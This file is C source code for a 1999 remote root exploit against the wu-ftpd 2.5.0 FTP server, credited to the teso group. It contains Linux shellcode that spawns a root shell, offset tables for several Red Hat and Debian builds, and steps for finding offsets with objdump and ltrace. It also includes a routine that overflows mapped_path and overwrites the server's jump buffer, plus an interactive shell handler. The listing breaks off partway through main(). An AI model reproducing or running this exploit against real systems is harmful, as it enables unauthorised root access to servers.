home *** CD-ROM | disk | FTP | other *** search
- <html>/*
- <tmogg> ifaf ?
- <typo_> integrated ftp attack facility
- <ElCamTuf> ifafoffuffoffaf
- <ElCamTuf> sounds much better
-
- Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
- _----------------------------------------------------------------------------_
- Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
- but wuftpd is too boring to finetune it.. enjoy this sploit in the
- meanwhile. Send me offsets (see below) to typo@scene.at.
- -____________________________________________________________________________-
-
- Contributors:
- Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
- edi (found a way to only have to find 2(!) offsets, he is hardcore!)
- lcamtuf (dziekuje tobie za ostatunia noc)
- Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
- scut (minor include and style fixes)
- smiler (asm bugfixing), stealth (hellkit rox)
-
- Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/utsname.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <errno.h>
- #include <signal.h>
- #include <time.h>
- #include <getopt.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <stdarg.h>
-
- /* LaM3rZ shellcode */
- unsigned char lamerz[]=
- "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
- "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
- "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
- "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
- "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
- "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
- "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
- "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
- "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
- "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
- "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";
-
- /* teso code: write(1,"teso\n",5); exit(0); */
- unsigned char testcode[] =
- "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0"
- "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01"
- "\xcd\x80\xe8\xdf\xff\xff\xfftesox";
-
- /* teso code: ioctl(, 0x5309, 0); */
- unsigned char cdcode[] =
- "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04"
- "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08"
- "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9"
- "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff"
- "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35";
-
- /* uh.. script kiddies suck. */
- char *shellcode = cdcode;
-
- typedef struct dir *dirptr;
-
- struct dir {
- char *name;
- dirptr next;
- } dirproto;
-
- void title (void);
- void usage (const char *me);
- void connect_to_ftp (void);
- void log_into_ftp (void);
- void parseargs (int argc, char **argv);
- void cleanup_and_exit (void);
- int x2port (const char *smtn);
- void err (int syserr, const char *msg, ...);
- int cwd (const char *path);
- int mkd (char *name);
- int rmd (char *name);
- int is_writable (void);
- void getpwd (void);
- int recurse_writable (void);
- void *xmalloc (size_t size);
- void *xcalloc (int factor, size_t len);
- char *xstrdup (const char *s);
- ssize_t xread (int fd, void *buf, size_t count);
- ssize_t xwrite (int fd, const void *buf, size_t count);
- int xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
- int xsocket (int domain, int type, int protocol);
- int xsetsockopt (int s, int level, int optname, const void *optval,
- unsigned int optlen);
- int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen);
- void sighandler (int signal);
- struct hostent *xgethostbyname (const char *name);
- struct hostent *xgethostbyaddr (const char *addr, int len, int type);
- void putserv (const char *fmt, ...);
- char *getline (void);
- char *getmsg (const char *msg);
- int wuftpd_250_sploitit (void);
- dirptr newdir (char *name);
- char *getdir (char *stat);
- char *int2char (int addr);
- int check_test_return();
-
- /*----------------------------------------------------------------
- *** How to get offsets ***
- ------------------------------------------------------------------
- Edis elite way of getting offsets:
-
- objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
- grep "\$0x80" | awk '{print $8}'
- ------------------------------------------------------------------
- My lame way of getting offsets:
- (as many people have asked: search for ltrace at http://freshmeat.net/)
-
- tty1:
- nc 0 21
- USER someuser
- PASS hispass
- tty2:
- ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
- tty1:
- CWD /not/current/dir
- MOO
- QUIT
- tty2:
- first argument of first SYS_chdir is mapped_path offset.
- first argument of longjmp is errcatch offset
- ------------------------------------------------------------------
- try 4096 and/or 1024 for maxpathlen (works 99% of the time).
- ------------------------------------------------------------------*/
-
- struct sploitdata {
- char *banner;
- char *desc;
- char pad_eax;
- unsigned int maxpathlen;
- unsigned int mapped_path;
- unsigned int errcatch;
- int (*code)();
- int need_writable;
- };
-
- #define START_MAPPED 0x08060000
-
- struct sploitdata spdata[] = {
- {
- "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)",
- "rh6 - wu-ftpd-2.5.0-2.i386.rpm",
- 0,
- 4096,
- 0x0806a1e0,
- 0x08077fc0,
- wuftpd_250_sploitit,
- 1,
- },
- {
- "Fri May 21 10:45:57 EDT 1999",
- "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm",
- 0,
- 1024,
- 0x08066890,
- 0x0806fcc0,
- wuftpd_250_sploitit,
- 1,
- },
- {
- "Tue Jun 8 11:19:44 EDT 1999",
- "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm",
- 0,
- 1024,
- 0x08067504,
- 0x08077fc0,
- wuftpd_250_sploitit,
- 1,
- },
- {
- "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)",
- "debian 2.1 - standard source compilation",
- 0,
- 1024,
- 0x806928c,
- 0x8071a80,
- wuftpd_250_sploitit,
- 1,
- },
- {
- "FTP server (Version wu-2.5.0(1)",
- "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation",
- 0,
- 4096,
- 0x8068f80,
- 0x8076d60,
- wuftpd_250_sploitit,
- 1,
- },
- {
- NULL,
- NULL,
- 0,
- 0,
- 0,
- 0,
- NULL,
- 0,
- }
- };
-
- struct sploitdata *sptr = spdata;
-
- int debug = 0,
- disp = 1,
- fd = 0,
- nostat = 1,
- offset_selected = 0;
-
- struct tesopt {
- char *user;
- char *host;
- char *pass;
- char *cwd;
- char *rev;
- char *dirname;
- int dirlen;
- char testonly;
- char dirscanonly;
- unsigned short int sport;
- unsigned short int port;
- struct hostent *he;
- } tesopt;
-
- struct hostinf {
- char *header;
- char *pwd;
- char *writable_dir;
- int pwdlen;
- } hostinf;
-
- #define COLOR
-
- #ifdef COLOR
- #define C_NORM "\E[0m"
- #define C_BOLD "\E[1m"
- #define C_GREEN "\E[32m"
- #define C_RED "\E[31m"
- #define C_BROWN "\E[33m"
- #define C_BLUE "\E[34m"
- #define C_PINK "\E[35m"
- #define C_CYAN "\E[36m"
- #define C_YELL "\E[33m"
- #else
- #define C_NORM ""
- #define C_BOLD ""
- #define C_GREEN ""
- #define C_RED ""
- #define C_BROWN ""
- #define C_BLUE ""
- #define C_PINK ""
- #define C_CYAN ""
- #define C_YELL ""
- #endif
-
- /* title
- *
- * print title
- *
- * no return value
- */
- void
- title (void)
- {
- printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
- C_NORM"\n");
- return;
- }
-
- /* newdir
- *
- * return a pointer to a new dir with name name
- *
- * pointer to dir structure
- */
- dirptr
- newdir (char *name)
- {
- dirptr tmp;
-
- tmp = (dirptr) xmalloc (sizeof (dirproto));
- tmp->name = xstrdup (name);
- tmp->next = NULL;
-
- return (tmp);
- }
-
- /* usage
- *
- * print usage
- *
- * no return value
- */
- void
- usage (const char *me)
- {
- struct sploitdata *cow;
- int i = 0;
-
- /* printf ("usage: %s\n\n", me); */
- printf ("-h - this help\n"
- "-s <server> - specify server\n"
- "-p <port> - destination port\n"
- "-f <sourceport> - source port\n"
- "-v(v) - increase verboseness, use twice for full verboseness\n"
- "-u <user> - user name to use for login\n"
- "-P <pass> - password to use for login\n"
- "-c <startdir> - directory to cwd to after login\n"
- "-d <writedir> - directory to test writeability with\n"
- "-r <revhost> - revlookup this host sees you with\n"
- "-D <dirlen> - specifies the directory length\n"
- "-T - use test shellcode (prints success, spawns no shell)\n"
- "-t <type>:\n");
-
- for (cow = spdata ; cow->desc ; ++cow) {
- printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM,
- C_BOLD, C_NORM, cow->banner, cow->desc);
- }
- printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM);
-
- exit (EXIT_FAILURE);
- }
-
- /* sighandler
- *
- * handle signals
- *
- * no return value
- */
- void
- sighandler (const int signal)
- {
- printf ("received signal: %d... exiting!\n", signal);
- cleanup_and_exit ();
- }
-
- /* err
- *
- * print an error message. if arg0 is set add an errno message (perror like)
- * exit afterwards
- *
- * no return value
- */
- void
- err (const int syserr, const char *msg, ...)
- {
- va_list ap;
-
- printf ("%serr:%s ", C_RED, C_NORM);
-
- va_start (ap, msg);
- vprintf (msg, ap);
- va_end (ap);
-
- if (syserr) {
- printf (": %s\n", sys_errlist[errno]);
- } else {
- printf ("\n");
- }
-
- cleanup_and_exit();
-
- return;
- }
-
- /* parseargs
- *
- * parse arguments
- *
- * no return value (exit on failure)
- */
- void
- parseargs (int argc, char **argv)
- {
- char c;
-
- opterr = 0;
- tesopt.user = "anonymous";
- tesopt.pass = "m@y.kr";
- tesopt.dirname = "tesotest";
- tesopt.port = 21;
- tesopt.sport = 666;
- tesopt.cwd = "";
- tesopt.dirlen = 255;
- tesopt.testonly = 0;
- tesopt.dirscanonly = 0;
-
- while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
- switch (c) {
- case 'v': ++debug;
- break;
- case 'h': usage (argv[0]);
- break;
- case 's': tesopt.host = optarg;
- break;
- case 'p': if (optarg != NULL)
- tesopt.port = x2port (optarg);
- break;
- case 'f': if (optarg != NULL)
- tesopt.sport = x2port (optarg);
- break;
- case 'u': if (optarg != NULL)
- tesopt.user = optarg;
- break;
- case 'P': if (optarg != NULL)
- tesopt.pass = optarg;
- break;
- case 'c': if (optarg != NULL)
- tesopt.cwd = optarg;
- break;
- case 'd': if (optarg != NULL)
- tesopt.dirname = optarg;
- break;
- case 'r': if (optarg != NULL)
- tesopt.rev = xstrdup (optarg);
- break;
- case 'D': tesopt.dirlen = atoi(optarg);
- break;
- case 't': sptr += atoi(optarg);
- offset_selected = 1;
- if (!sptr->desc) {
- err (0, "invalid offset set");
- }
- break;
-
- case 'T': shellcode = testcode;
- tesopt.testonly = 1; break;
- case 'o': tesopt.dirscanonly = 1; break;
-
- }
- }
-
- if (tesopt.host == NULL)
- err (0, "server not specified (see -h)");
- if (tesopt.port == 0)
- err (0, "port not or incorrectly specified (see -h)");
- if (tesopt.sport == 0)
- err (0, "sport not or incorrectly specified (see -h)");
-
- if (tesopt.dirlen == 0)
- err (0, "illegal dirlen!\n");
-
- tesopt.he = xgethostbyname (tesopt.host);
-
- return;
- }
-
- struct hostent *
- xgethostbyname (const char *name)
- {
- struct hostent *tmp;
-
- tmp = gethostbyname (name);
- if (tmp == NULL)
- err (1, "cannot gethostbyname");
-
- return (tmp);
- }
-
- struct hostent *
- xgethostbyaddr (const char *addr, int len, int type)
- {
- struct hostent *tmp;
-
- tmp = gethostbyaddr (addr, len, type);
- if (tmp == NULL)
- err(1,"cannot gethostbyaddr");
-
- return (tmp);
- }
-
- /* xmalloc
- *
- * wrap malloc with error handling
- *
- * return or abort
- */
- void *
- xmalloc (size_t size)
- {
- void *tmp = malloc (size);
-
- if (tmp == NULL)
- err (1, "malloc failed");
-
- return (tmp);
- }
-
- /* xcalloc
- *
- * wrap calloc with error handling
- *
- * return or abort
- */
- void *
- xcalloc (int factor, size_t len)
- {
- void *new = calloc (factor, len);
-
- if (new == NULL)
- err (1, "calloc failed");
-
- return (new);
- }
-
- /* xstrdup
- *
- * wrap strdup with error handling
- *
- * return or abort
- */
- char *
- xstrdup (const char *s)
- {
- char *tmp;
-
- tmp = strdup (s);
- if (tmp == NULL)
- err (1, "strdup failed");
-
- return (tmp);
- }
-
- /* xread
- *
- * read with error handling
- *
- * return length of readen data
- */
- ssize_t
- xread (int fd, void *buf, size_t count)
- {
- int tmp;
-
- tmp = read (fd, buf, count);
- if (tmp < 1)
- err (1, "read failed");
-
- return (tmp);
- }
-
- /* xwrite
- *
- * write with error handling
- *
- * return length of written data
- */
- ssize_t
- xwrite (int fd, const void *buf, size_t count)
- {
- int tmp;
-
- tmp = write (fd, buf, count);
- if (tmp < 0)
- err (1, "write failed");
-
- return (tmp);
- }
-
- /* xbind
- *
- * bind with error handling
- *
- * return bound socket
- */
- int
- xbind (int sockfd, struct sockaddr *my_addr, int addrlen)
- {
- int tmp;
-
- tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen);
- if (tmp < 0)
- err (1, "bind failed");
-
- return (tmp);
- }
-
- /* xsocket
- *
- * socket with error handling
- *
- * return allocated socket descriptor
- */
- int
- xsocket (int domain, int type, int protocol)
- {
- int tmp;
-
- tmp = socket (domain, type, protocol);
- if (tmp < 0)
- err (1, "socket failed");
-
- return (tmp);
- }
-
- /* xsetsockopt
- *
- * setsockopt with error handling
- */
- int
- xsetsockopt (int s, int level, int optname, const void *optval,
- unsigned int optlen)
- {
- int tmp;
-
- tmp = setsockopt (s, level, optname, optval, optlen);
- if (tmp < 0)
- err (1, "setsockopt failed");
-
- return (tmp);
- }
-
- /* xconnect
- *
- * connect with error handling
- */
- int
- xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen)
- {
- int tmp;
-
- tmp = connect (sockfd, serv_addr, addrlen);
- if (tmp < 0)
- err (1, "connect failed");
-
- return (tmp);
- }
-
-
- /* connect_to_ftp
- *
- * connect to ftpserver and resolve local ip
- *
- * return nothing
- */
- void
- connect_to_ftp (void)
- {
- int i = 1;
- struct sockaddr_in sin;
- struct hostent *he;
-
-
- fd = xsocket (AF_INET, SOCK_STREAM, 0);
- xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i));
-
- bzero (&sin, sizeof (sin));
-
- sin.sin_family = AF_INET;
- // sin.sin_port = htons (tesopt.sport);
- sin.sin_addr.s_addr = 0;
-
- xbind (fd, (struct sockaddr*) &sin, sizeof (sin));
-
- sin.sin_port = htons (tesopt.port);
- sin.sin_family = AF_INET;
-
- memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr));
-
- xconnect (fd, (struct sockaddr*) &sin, sizeof (sin));
-
- /* this is a good time to get our revlookup (if not user defined) */
- if (tesopt.rev == NULL) {
- i = sizeof (sin);
- getsockname (fd, (struct sockaddr *) &sin, &i);
- he = gethostbyaddr ((char *) &sin.sin_addr,
- sizeof (sin.sin_addr), AF_INET);
- tesopt.rev = xstrdup (he->h_name);
- }
- printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
-
- return;
- }
-
- /* putserv
- *
- * send data to the server
- */
- void
- putserv (const char *fmt, ...)
- {
- va_list ap;
- unsigned char output[1024];
- int i, total;
-
- memset (output, '\0', sizeof (output));
- va_start (ap, fmt);
- vsnprintf (output, sizeof (output) - 1, fmt, ap);
- va_end (ap);
-
- /* this is edis code
- */
- total = strlen (output);
- for (i = 0; i < total; i++) {
- if (output[i] == 0xff) {
- memmove (output + i + 1, output + i, total - i);
- total++;
- i++;
- }
- }
-
- if (disp != 0 && (debug > 1))
- printf ("%s%s%s", C_BLUE, output, C_NORM);
-
- xwrite (fd, output, total);
-
- return;
- }
-
- #define LINEBUFLEN 8192
- char linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */
-
- /* getline
- *
- * get next line from server or local buffer
- */
- char *
- getline (void)
- {
- char y[2];
- int i = 0;
-
- memset (linebuf, '\0', sizeof (linebuf));
- strcpy (y, "x");
-
- while (strncmp (y, "\n", 1) != 0) {
- if (i > (sizeof (linebuf) + 2)) {
- err (0, "getline() buffer full");
- }
- i += xread (fd, y, 1);
- strcat (linebuf, y);
- }
-
- if (disp != 0 && debug > 0) {
- #ifdef COLOR
- if (nostat != 0) {
- char color[64];
-
- memset (color, '\0', sizeof (color));
-
- switch (linebuf[0]) {
- case '2': strcpy (color, C_CYAN);
- break;
- case '3': strcpy (color, C_BROWN);
- break;
- case '4': strcpy (color, C_RED);
- break;
- case '5': strcpy (color, C_RED);
- break;
- default: break;
- }
-
- printf ("%s", color);
- }
- #endif
- if (nostat != 0 || debug > 1)
- printf ("%s", linebuf);
- #ifdef COLOR
- if (nostat != 0)
- printf ("%s", C_NORM);
- #endif
- }
-
- return (linebuf);
- }
-
- /* getmsg
- *
- * discard lines until expected response or error is reported
- */
- char *
- getmsg (const char *msg)
- {
- char *line;
- int i = strlen (msg);
-
- do {
- line = getline ();
- } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
-
- return (line);
- }
-
- /* log_into_ftp
- *
- * log into the ftp server given the login name and password
- *
- * return nothing
- */
- void
- log_into_ftp (void)
- {
- char *line;
- char foundmatch=0;
-
- line = getmsg ("220 ");
- hostinf.header = xstrdup (line);
-
- if (!debug)
- printf("%s", line);
- if (!offset_selected) {
- for (sptr = spdata ; sptr->banner ; ++sptr) {
- if (strstr(line, sptr->banner)) {
- foundmatch=1;
- break;
- }
- }
- if (!foundmatch)
- err(0, "No offset selected, and no matching banner found!");
- }
-
- printf ("Using offsets from: %s\n", sptr->desc);
-
- putserv ("USER %s\n", tesopt.user);
- getmsg ("331 ");
- putserv ("PASS %s\n", tesopt.pass);
- line = getmsg ("230 ");
- if (strncmp ("5", line, 1) == 0)
- err (0, "login not accepted!\n");
-
- if (strlen (tesopt.cwd) > 0) {
- if (cwd (tesopt.cwd) == 0) {
- err (0, "initial CWD failed.");
- }
- }
-
- getpwd ();
-
- return;
- }
-
- /* recurse_writable
- *
- * recursively scans for writable dirs, starting in CWD
- *
- * return 1 for CWD is writable
- * return 0 for no writable dir found
- */
- int
- recurse_writable (void)
- {
- dirptr dirroot = NULL,
- current = NULL,
- prev = NULL;
- char *line = "",
- *tmp = "";
-
- if (is_writable () != 0)
- return (1);
-
- nostat = 0;
- putserv ("STAT .\n");
-
- while (strncmp (line, "213 ", 4) != 0) {
- line = getline ();
- tmp = getdir (line);
-
- if (tmp == NULL)
- continue;
- if (dirroot == NULL) {
- current = dirroot = newdir (tmp);
- continue;
- }
-
- current->next = newdir (tmp);
- current = current->next;
- }
-
- nostat = 1;
- current = dirroot;
-
- while (current != NULL) {
- if (cwd (current->name)) {
- if (recurse_writable ())
- return (1);
- cwd ("..");
- }
-
- prev = current;
- current = current->next;
- free (prev->name);
- free (prev);
- }
-
- return (0);
- }
-
- /* mkd
- *
- * make a directory
- *
- * return 0 on success
- * return 1 if the directory already exists
- * retrun 2 on error
- */
- int
- mkd (char *name)
- {
- char *line;
-
- putserv ("MKD %s\n", name);
- line = getmsg ("257 ");
-
- if (strncmp ("521 ", line, 4) == 0)
- return (1);
-
- if (strncmp ("257 ", line, 4) == 0)
- return (0);
-
- return (2);
- }
-
-
- /* rmd
- *
- * remove a directory
- *
- * return 0 on success
- * return 1 on failure
- */
- int
- rmd (char *name)
- {
- char *line;
-
- putserv ("RMD %s\n", name);
- line = getmsg ("250 ");
-
- if (strncmp("250 ", line, 4) == 0)
- return (0);
-
- return (1);
- }
-
- /* is_writeable
- *
- * check whether the current working directory is writeable
- *
- * return 1 if it is
- * return 0 if it is not
- */
- int
- is_writable (void)
- {
- int i = 0,
- is = 0;
-
- redo:
- if (++i > 3)
- return (0);
-
- is = mkd (tesopt.dirname);
- if (is == 1) {
- printf ("leet.. our file already exists.. delete and retry\n");
- rmd (tesopt.dirname);
-
- goto redo;
- } else if (is == 0) {
- rmd (tesopt.dirname);
-
- return (1);
- }
-
- return (0);
- }
-
- /* cwd
- *
- * change current working directory on the ftp server
- *
- * return 1 on success
- * return 0 on failure
- */
- int
- cwd (const char *path)
- {
- char *line;
-
- if (debug != 0)
- printf ("CWD %s\n", path);
-
- putserv ("CWD %s\n", path);
- line = getmsg ("250 ");
-
- if (strncmp ("250 ",line, 4) == 0)
- return (1);
-
- return (0);
- }
-
- /* getpwd
- *
- * sets hostinf.pwd to CWD
- *
- * returns nothing
- */
- void
- getpwd (void)
- {
- char *tmp,
- *line;
- char *chr,
- *rchr;
-
- putserv ("PWD\n");
- line = getmsg ("257 ");
- if (strncmp ("257 ", line, 4) != 0)
- err (0, "getpwd failed: incorrect answer: %s", line);
-
- /* too long, but for sure long enough. */
- tmp = xcalloc (strlen (line) + 1, 1);
-
- chr = strchr (line, '"');
- rchr = strrchr (line, '"');
-
- if (chr == NULL)
- err (0, "no \"'s in getpwd.");
-
- if (chr == rchr)
- err (0, "only one \" in getpwd.");
-
- if ((rchr - chr) < 2)
- err (0, "pwd too short?");
-
- strncat (tmp, chr + 1, rchr - chr - 1);
-
- if (hostinf.pwd != NULL)
- free (hostinf.pwd);
-
- hostinf.pwd = xstrdup (tmp);
- free (tmp);
-
- hostinf.pwdlen = strlen (hostinf.pwd);
- /* printf("current pwd is %s\n", hostinf.pwd); */
- }
-
- /* getdir
- *
- * get directory from a STAT string (parsing works with wuftpd AND proftpd)
- *
- * return pointer to directory name on success
- * return NULL on failure/not a directory
- */
- char *
- getdir (char *stat)
- {
- char *dir = stat;
-
- if (strlen (dir) < 57)
- return (NULL);
-
- if (strncmp (" ", dir, 1) == 0)
- ++dir;
- if (strncmp ("d", dir, 1) != 0)
- return (NULL);
-
- dir += 55;
- dir[strlen (dir) - 2] = 0;
- /* printf("strlen is %d for %s",strlen(dir), dir); */
-
- if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0)
- return (NULL);
-
- return (dir);
- }
-
- /* cleanup_and_exit
- *
- * cleanup functions on exit
- *
- * return nothing
- */
- void
- cleanup_and_exit (void)
- {
- free (tesopt.rev);
- free (hostinf.header);
- free (hostinf.pwd);
- close (fd);
-
- printf ("%s\n", C_NORM);
-
- exit (EXIT_SUCCESS);
- }
-
- /* x2port
- *
- * like atoi, but with getservbyname if atoi() fails
- *
- * return port
- */
- int
- x2port (const char *smtn)
- {
- struct servent *serv;
- int port;
-
- port = atoi (smtn);
- if (port == 0) {
- serv = getservbyname (smtn, "tcp");
- if (serv != NULL)
- port = htons (serv->s_port);
- }
-
- return (port);
- }
-
- /* int2char
- *
- * converts an integer to 4byte char *
- *
- * return port
- */
- char int2char_tmp[8];
- char *
- int2char (int addr)
- {
- bzero(&int2char_tmp, 8);
- int2char_tmp[0] = (addr & 0x000000ff);
- int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
- int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
- int2char_tmp[3] = (addr & 0xff000000) >> 24;
- int2char_tmp[4] = 0;
-
- return (int2char_tmp);
- }
-
- /* wuftpd_250_sploitit
- *
- * tries to exploit wuftpd 2.5.0, after all preparation work is done.
- *
- * return 0 on error
- * return 1 on success
- */
- int
- wuftpd_250_sploitit (void)
- {
- int shelloff,
- times,
- fill;
- int start_writing_to_errcatch,
- argvlen,
- behind_errcatch;
- int i, n;
- char string[2048];
-
- argvlen = strlen ("ftpd: ");
- argvlen += strlen (tesopt.rev);
- argvlen += strlen (": ");
- argvlen += strlen (tesopt.user);
- argvlen += strlen (": ");
-
- if (strncmp ("anonymous", tesopt.user, 9) == 0)
- argvlen += strlen (tesopt.pass) + 1;
-
- times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
-
- fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
-
- if (debug > 0) {
- printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n",
- hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
- }
-
- if (strlen (shellcode) > (tesopt.dirlen - 40))
- err(0, "shellcode too big, edit the source to use less padding,"
- "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
-
- /* let's try to hit the middle of our 0x90 pad */
- shelloff = sptr->mapped_path + hostinf.pwdlen
- + ( (tesopt.dirlen - strlen(shellcode)) / 2);
-
- if (debug > 0)
- printf ("will try to longjmp to 0x%x\n", shelloff);
-
- start_writing_to_errcatch = sptr->errcatch - argvlen;
- behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
-
- if (debug > 0) {
- printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n",
- sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
- }
-
- memset (string, 'A', tesopt.dirlen);
-
- if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
- disp = 0;
- for (i = 0; i < times; i++) {
- switch (i) {
- case 0: memset (string, 0x90, tesopt.dirlen);
- memcpy (string+tesopt.dirlen-strlen(shellcode),
- shellcode, strlen (shellcode));
- break;
- case 1: memset (string, 0x90, tesopt.dirlen); break;
- default:
- break;
- }
-
- string[tesopt.dirlen] = 0;
- putserv ("MKD %s\n", string);
- getline ();
-
- putserv ("CWD %s\n", string);
- getline ();
- }
-
- getpwd ();
- disp = 1;
-
- if (debug > 0)
- printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
-
- if (fill != sptr->maxpathlen-hostinf.pwdlen)
- err (0, "Calculation wrong. Error!");
-
- if (fill > 506)
- err (0, "Aw.. fuck! My fill is waaaay to big!\n");
-
- /* onefile[0], onefile[1] and maybe pad_eax */
- fill += sptr->pad_eax ? 12 : 8;
-
- n = fill/4;
- string[0] = 0;
- for (i=0; i < n; i++)
- strcat(string, int2char(start_writing_to_errcatch));
- for (i=1; i < (fill - (n*4)); i++)
- strcat(string, "A");
-
- /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
- strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
- strcat (string, int2char (behind_errcatch)); /* LastArgv */
-
- if (debug > 0)
- printf ("Sending final CWD\n");
-
- if (strlen (string) < 20)
- err (0, "cwd string too short.. check for 0x0's.\n");
-
- putserv ("CWD %s\n", string);
- getline ();
-
- /************ jmpbuf ***********/
-
- if (debug > 0)
- printf ("Sending jmpbuf\n");
-
- string[0] = 0;
- for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
- strcat (string, int2char (shelloff));
-
- if (strlen (string) != 32)
- err (0, "jmpbuf string too short.. check for 0x0's.\n");
-
- putserv ("%s\n", string);
-
- getline ();
-
- return (1);
- }
-
- /* shell
- *
- * provide a pseudo shell..
- *
- * return nothing
- */
- void
- shell (void)
- {
- char buf[5120];
- int l;
- fd_set rfds;
-
- printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
-
- while (1) {
- FD_SET (0, &rfds);
- FD_SET (fd, &rfds);
-
- select (fd+1, &rfds, NULL, NULL, NULL);
- if (FD_ISSET (0, &rfds)) {
- l = read (0, buf, sizeof (buf));
- if (l <= 0)
- cleanup_and_exit ();
- xwrite (fd, buf, l);
- }
-
- if (FD_ISSET (fd, &rfds)) {
- l = read (fd, buf, sizeof (buf));
- if (l <= 0)
- cleanup_and_exit ();
- xwrite (1, buf, l);
- }
- }
- }
-
- /* check_test_return
- *
- * Check if testcode sploiting was successfull.
- *
- * return 0 on failure
- * return 1 on success
- */
-
- int check_test_return(char *what, int len) {
- char line[1024];
- int i, flags;
- fd_set rset;
- struct timeval tv;
-
- printf("w8ing for testshellcode to respond...\n");
- flags = fcntl(fd, F_GETFL, 0);
- if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
- err(1, "fcntl fucked up (testshellcode)");
-
- FD_ZERO(&rset);
- FD_SET(fd, &rset);
-
- tv.tv_sec = 10;
- tv.tv_usec = 0;
-
- if (!select(fd + 1, &rset, NULL, NULL, &tv))
- err(0, "select timed out(testshellcode)");
-
- i = read(fd, line, len);
- if (!strncmp(what, line, len)) {
- printf("%sSploit successfull!%s\n", C_RED, C_NORM);
- return(1);
- };
- printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
- return(0);
- }
-
- int
- main (int argc, char **argv)
- {
- int i;
- title ();
-
- if (argc < 3)
- usage (argv[0]);
-
- signal (SIGINT, (void *) &sighandler);
- signal (SIGQUIT, (void *) &sighandler);
-
- parseargs (argc, argv);
-
- printf("Connecting...\n");
- connect_to_ftp ();
-
- log_into_ftp ();
- if (sptr->need_writable || tesopt.dirscanonly) {
- printf ("Logged in! Searching for a writable directory...\n");
- if (!recurse_writable())
- err (0, "kurwa mac! no writable dir found\n");
- } else {
- printf ("Logged in!\n");
- }
-
- getpwd ();
